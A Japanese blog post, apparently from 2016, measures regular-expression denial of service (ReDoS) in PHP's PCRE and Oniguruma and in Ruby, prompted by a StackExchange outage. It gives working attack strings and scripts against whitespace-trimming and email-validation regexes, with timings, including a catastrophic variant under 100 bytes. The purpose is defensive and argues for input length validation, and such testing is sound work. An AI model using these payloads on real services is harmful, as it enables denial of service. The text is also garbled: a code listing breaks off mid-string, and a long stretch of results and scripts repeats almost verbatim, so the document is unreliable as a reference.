StackExchangeが攻撃されたReDoSの効果

StackExchangeがReDoS攻撃に遭いサイトがダウンした原因をStackExchangeのブログで紹介していました。

PHPへの影響があるか試してみました。結論を書くと、脆弱な正規表現を使っていて攻撃者が入力をコントロールできる場合、簡単に攻撃できるようです。PCRE、Onigurumaの両方で試してみましたがどちらも脆弱でした。

参考：正規表現でのメールアドレスチェックは見直すべき – ReDoS Onigurumaでは破滅的なReDoSが可能です。以前からメールアドレスのチェックに利用する正規表現には注意喚起していましが、どの程度浸透していたのだろうか？

ReDoSとは

ReDoSはこのブログでも紹介しています。正規表現のアルゴリズムを利用してDoS攻撃する攻撃です。

参考：

• 正規表現を使ったDoS – ReDoS
• ReDoSの回避

脆弱な正規表現の概要

“マッチする文字+$”形式の正規表現に対して、”マッチ対象の文字”を数万回繰り返し最後に”マッチしない文字”を付ける、とReDoSに脆弱になります。詳しい解説はStackExchangeのブログに記載されているので省略します。

検証結果

検証環境

• CPU Core i7 4770S
• OS Fedora 24 x86_64
• PHP 5.6.23

PCRE2万文字 – 約2.4秒

[yohgaki@dev backup]$ time php -r 'var_dump(preg_match("#\\s+$#", str_repeat(" ", 20000)."a"));'
int(0)

real    0m2.373s
user    0m2.151s
sys 0m0.231s

PCRE20万文字 – 約3分26秒

[yohgaki@dev backup]$ time php -r 'var_dump(preg_match("#\\s+$#", str_repeat(" ", 200000)."a"));'
int(0)

real    3m26.030s
user    3m25.802s
sys 0m0.228s

Oniguruma2万文字 – 約3.3秒

[yohgaki@dev backup]$ time php -r 'var_dump(mb_ereg("\\s+$", str_repeat(" ", 20000)."a"));'
bool(false)

real    0m3.348s
user    0m3.093s
sys 0m0.265s

Oniguruma20万文字 – 約5分7秒

[yohgaki@dev backup]$ time php -r 'var_dump(mb_ereg("\\s+$", str_repeat(" ", 200000)."a"));'
bool(false)

real    5m6.626s
user    5m6.356s
sys 0m0.254s

まとめ

PHPのPCREはバックトラック制限があるので、これで緩和できているかも？と期待したのですが、できていませんでした。

PHPに対するReDoS攻撃は十分可能です。PCRE（多数のアプリで利用）やOniguruma（Rubyなども利用）を利用しているソフトウェアならReDoS攻撃が可能だと思われます。

非常に短い検索対象文字列で攻撃できるReDoS攻撃ではありませんが、脆弱な正規表現パターンを利用していることが判っていて（入力と出力で判る）、十分に長い検索対象文字列を注入できる場合、攻撃は簡単です。

検証に利用したパターンは末尾のスペースをトリムする、というパターンとして使われているケースが少なからずあると思います。こういう物はそもそも文字列関数を使う方が良いのですが、正規表現にしている場合gが結構あるのでは？ 仕組み上、検索パターンは文字列末尾の繰り返しパターンなら何でも良いので、攻撃可能な正規表現は検証に利用したスペースのトリムに使うような物に限られません。

名前や住所のようなモノは短い文字列であることを入力バリデーションしていれば攻撃できません。当たり前ですが普通にセキュリティ対策としてバリデーションしているとリスクを軽減できます。

StackExchangeのブログでは、2万文字の攻撃でサイトをダウンさせるには十分だった、としています。この結果からも十分だったことが良くわかります。

追加検証

前の簡単な検証で、文字／文字列の繰り返し＋最後尾にマッチするパターンが脆弱なことが解ります。このパターンは色々な場面で見られます。仕組み上、いろいろなパターンで同じように脆弱になるはずであることが予想できます。

ネットで検索して実際に利用されていると思われるEメールアドレスにマッチする正規表現パターンで検証してみました。

正規表現

^\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$

• \s+$ と同類のパターンであることが、見て判る

短くてパッと見て脆弱なパターンと判るモノを探してみましたが、ものの数分でスバリの物が見つかりました。複雑なパターンの物でも一目で脆弱だろう、と判る物も複数ありました。

コード（t3.php）

<?php
$re = '^\\w+([-+.\']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*

• 約2万文字のEメール風の攻撃文字列を作って、PCRE(preg_match)とOniguruma(mb_ereg)で正規表現検索。

実行結果（PHP 7.1.0-dev）

[yohgaki@dev github-php-src]$ ./php-bin -v
PHP 7.1.0-dev (cli) (built: Jul 27 2016 14:25:47) ( NTS DEBUG )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
[yohgaki@dev github-php-src]$ ./php-bin -d error_reporting=-1 -d memory_limit=8G t3.php
int(1)
bool(false)
5.5074691772461E-5 PCRE Done
bool(false)
Done
15.020052909851 Oniguruma Done

• PCRE: 約0秒 (FALSEが返って来てるので正規表現マッチの実行には失敗している）
• Oniguruma: 約15秒

Onigurumaは明らかにReDoSに脆弱です。

実行結果（PHP 5.6.23 Fedora24 x86_64）

この環境ではPCREはクラッシュするのでコメントアウトして無効化しました。

[yohgaki@dev github-php-src]$ php -v
PHP 5.6.23 (cli) (built: Jul  1 2016 07:39:20) 
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
[yohgaki@dev github-php-src]$ php -d error_reporting=-1 -d memory_limit=8G t3.php
int(1)
9.5367431640625E-7 PCRE Done
bool(false)
Done
7.2246580123901 Oniguruma Done

※ PHP5/PHP7の実行時間の差はデバッグビルドか最適化されたビルドか、の違いなので気にしないでください。

• PCRE: クラッシュの為、計測できず。ただし、即時にクラッシュする。
• Oniguruma: 約7.2秒

PHP 7.1.0-devはバックトラック制限／スタック制限が有効に働き（？）preg_match()からは直ぐにFALSEが返って来たようです。OnigurumaはこのReDoS攻撃に脆弱でした。

PHP 5.6.23もバックトラック制限／スタック制限はあるのですが、PHPがクラッシュしました。そこでPCREの正規表現部分はコメントアウトして実行すると、Onigurumaは同じく脆弱でした。

PHPのOnigurumaは結構古いので新しいOnigurumaでも検証する必要があります。対策されているならPHPのOnigurumaを更新しなければ。。。

ということで手元のRubyで確認しました。

Rubyバージョン

[yohgaki@dev ruby]$ ruby -v
ruby 2.3.1p112 (2016-04-26 revision 54768) [x86_64-linux]

テストスクリプト

s = "usr@dom"+".a"*200000+"."
re = Regexp.new("^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$")
p re =~ s

実行結果

[yohgaki@dev ruby]$ ruby ~/t1.rb
nil

real    12m57.463s
user    12m57.100s
sys 0m0.307s

約40万文字（約40KB）の入力で13分の処理時間が必要でした。（間違えて0を１つ増やしてしまいましたが、ReDoSには脆弱であることが判ります。PCREも攻撃可能なパターンだと同じような比率で実行時間が長くなります）

少なくともこのバージョンのモノはNGですね。。。

セキュアコーディングを誤解されているケースを散見しますがセキュアコーディングの基本を知っていて実践していればこのReDoSは回避できることが多いと思います。

追加検証2

一つ前の追加検証で使った正規表現は明らかに脆弱であることが一目で判るモノでした。もう少しマシなメールアドレスにマッチする正規表現も使ってみました。PHPのPCREは脆弱でないので、Rubyの結果を載せておきます。（mbregexは同様）

正規表現

/\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

テストスクリプト

s = "usr@dom"+".a"*20000000+"."
p /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i =~ s

実行結果

[yohgaki@dev ruby]$ time ruby ~/t1.rb
nil

real    0m8.014s
user    0m7.181s
sys 0m0.843s

一目で脆弱だと判る正規表現に比べ、長いペイロード、上記のテストスクリプトは約38MB、が必要ですが入力文字列の長さをバリデーションしていないコードだと攻撃可能でした。

セキュアコーディングでは入力文字列の長さ（最小、最大）を入力処理時にバリデーションすることが求められます。（入力バリデーションはできる限り早い段階で行う。アプリなら外部入力の受け入れ直後）メールアドレスならセキュアコーディングを実践していれば、確実に避けられる問題です。

追記：このパターンの場合、連続マッチする部分を長めにした方が効果的なはず、と思い試してみました。予想通り効果的でした。最初試したら全然終わらないので、ペイロードをたった約100バイトにしても異常に長い必要になりました。少しの工夫で効果が何百、何千倍にもなるので「こんなに長いペイロードが必要だったら対策なしでもOK」と油断しない方が良いです。

s = "usr@dom"+".abc"*25+"."
p /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i =~ s

[yohgaki@dev ruby]$ time ruby ~/t1.rb
nil

real    0m24.771s
user    0m24.535s
sys 0m0.247s

指数的に実行時間が増える壊滅的ReDoSのようです。

s = “usr@dom”+”.abc”*100+”.”

とかにすると全く終わりません。

;

var_dump(preg_match(‘/’.$re.’/’, ‘yohgaki@ohgaki.net’));

$s = ‘usr@dom’.str_repeat(‘.a’, 20000).’.’;

$start = microtime(true);
var_dump(preg_match(‘/’.$re.’/’, $s));
echo microtime(true) – $start .’ PCRE Done’.PHP_EOL;

$start = microtime(true);
var_dump(mb_ereg($re, $s));
echo ‘Done’.PHP_EOL;
echo microtime(true) – $start .’ Oniguruma Done’.PHP_EOL;

• 約2万文字のEメール風の攻撃文字列を作って、PCRE(preg_match)とOniguruma(mb_ereg)で正規表現検索。

実行結果（PHP 7.1.0-dev）

[yohgaki@dev github-php-src]$ ./php-bin -v
PHP 7.1.0-dev (cli) (built: Jul 27 2016 14:25:47) ( NTS DEBUG )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
[yohgaki@dev github-php-src]$ ./php-bin -d error_reporting=-1 -d memory_limit=8G t3.php
int(1)
bool(false)
5.5074691772461E-5 PCRE Done
bool(false)
Done
15.020052909851 Oniguruma Done

• PCRE: 約0秒 (FALSEが返って来てるので正規表現マッチの実行には失敗している）
• Oniguruma: 約15秒

Onigurumaは明らかにReDoSに脆弱です。

実行結果（PHP 5.6.23 Fedora24 x86_64）

この環境ではPCREはクラッシュするのでコメントアウトして無効化しました。

[yohgaki@dev github-php-src]$ php -v
PHP 5.6.23 (cli) (built: Jul  1 2016 07:39:20) 
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
[yohgaki@dev github-php-src]$ php -d error_reporting=-1 -d memory_limit=8G t3.php
int(1)
9.5367431640625E-7 PCRE Done
bool(false)
Done
7.2246580123901 Oniguruma Done

※ PHP5/PHP7の実行時間の差はデバッグビルドか最適化されたビルドか、の違いなので気にしないでください。

• PCRE: クラッシュの為、計測できず。ただし、即時にクラッシュする。
• Oniguruma: 約7.2秒

PHP 7.1.0-devはバックトラック制限／スタック制限が有効に働き（？）preg_match()からは直ぐにFALSEが返って来たようです。OnigurumaはこのReDoS攻撃に脆弱でした。

PHP 5.6.23もバックトラック制限／スタック制限はあるのですが、PHPがクラッシュしました。そこでPCREの正規表現部分はコメントアウトして実行すると、Onigurumaは同じく脆弱でした。

PHPのOnigurumaは結構古いので新しいOnigurumaでも検証する必要があります。対策されているならPHPのOnigurumaを更新しなければ。。。

ということで手元のRubyで確認しました。

Rubyバージョン

[yohgaki@dev ruby]$ ruby -v
ruby 2.3.1p112 (2016-04-26 revision 54768) [x86_64-linux]

テストスクリプト

s = "usr@dom"+".a"*200000+"."
re = Regexp.new("^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$")
p re =~ s

実行結果

[yohgaki@dev ruby]$ ruby ~/t1.rb
nil

real    12m57.463s
user    12m57.100s
sys 0m0.307s

約40万文字（約40KB）の入力で13分の処理時間が必要でした。（間違えて0を１つ増やしてしまいましたが、ReDoSには脆弱であることが判ります。PCREも攻撃可能なパターンだと同じような比率で実行時間が長くなります）

少なくともこのバージョンのモノはNGですね。。。

セキュアコーディングを誤解されているケースを散見しますがセキュアコーディングの基本を知っていて実践していればこのReDoSは回避できることが多いと思います。

追加検証2

一つ前の追加検証で使った正規表現は明らかに脆弱であることが一目で判るモノでした。もう少しマシなメールアドレスにマッチする正規表現も使ってみました。PHPのPCREは脆弱でないので、Rubyの結果を載せておきます。（mbregexは同様）

正規表現

/\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

テストスクリプト

s = "usr@dom"+".a"*20000000+"."
p /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i =~ s

実行結果

[yohgaki@dev ruby]$ time ruby ~/t1.rb
nil

real    0m8.014s
user    0m7.181s
sys 0m0.843s

一目で脆弱だと判る正規表現に比べ、長いペイロード、上記のテストスクリプトは約38MB、が必要ですが入力文字列の長さをバリデーションしていないコードだと攻撃可能でした。

セキュアコーディングでは入力文字列の長さ（最小、最大）を入力処理時にバリデーションすることが求められます。（入力バリデーションはできる限り早い段階で行う。アプリなら外部入力の受け入れ直後）メールアドレスならセキュアコーディングを実践していれば、確実に避けられる問題です。

追記：このパターンの場合、連続マッチする部分を長めにした方が効果的なはず、と思い試してみました。予想通り効果的でした。最初試したら全然終わらないので、ペイロードをたった約100バイトにしても異常に長い必要になりました。少しの工夫で効果が何百、何千倍にもなるので「こんなに長いペイロードが必要だったら対策なしでもOK」と油断しない方が良いです。

s = "usr@dom"+".abc"*25+"."
p /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i =~ s

[yohgaki@dev ruby]$ time ruby ~/t1.rb
nil

real    0m24.771s
user    0m24.535s
sys 0m0.247s

指数的に実行時間が増える壊滅的ReDoSのようです。

s = “usr@dom”+”.abc”*100+”.”

などにすると全く終わりません。